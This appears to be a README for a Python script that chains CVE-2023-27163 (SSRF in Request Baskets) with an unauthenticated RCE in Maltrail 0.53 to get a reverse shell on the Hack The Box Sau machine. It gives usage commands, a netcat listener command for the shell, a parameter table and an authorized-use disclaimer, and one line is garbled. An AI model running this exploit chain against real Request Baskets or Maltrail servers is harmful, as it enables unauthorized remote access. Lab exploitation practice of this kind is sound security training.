
Automated exploit chain for HTB Sau — CVE-2023-27163 (SSRF) + Maltrail Unauthenticated RCE → Reverse Shell
A Python exploit script that chains CVE-2023-27163 (Server-Side Request Forgery in Request Baskets ≤ 1.2.1) with an unauthenticated Remote Code Execution vulnerability in Maltrail 0.53, delivering a reverse shell. Designed for the Hack The Box Sau machine.
This script automates the exploitation path required to gain initial access on the target by:
python3 exploit.py <TARGET_URL> <LISTENER_IP> <LISTENER_PORT>
Example:
python3 exploit.py http://10.10.11.224 10.10.14.6 4444
Before running the exploit, start a listener on your machine to catch the reverse shell:
nc -lvnp <LISTENER_PORT>
Example:
nc -lvnp 4444
| Parameter | Description |
|---|---|
TARGET_URL | Base URL of the target (e.g., http://IP) |
LISTENER_IP | Your attacking machine IP |
LISTENER_PORT | Port for receiving the reverse shell |
bucket_url)/ from the target URL (handled automatically in script)This project is intended for educational purposes and use in authorized environments such as Hack The Box. Do not use against systems without proper permission.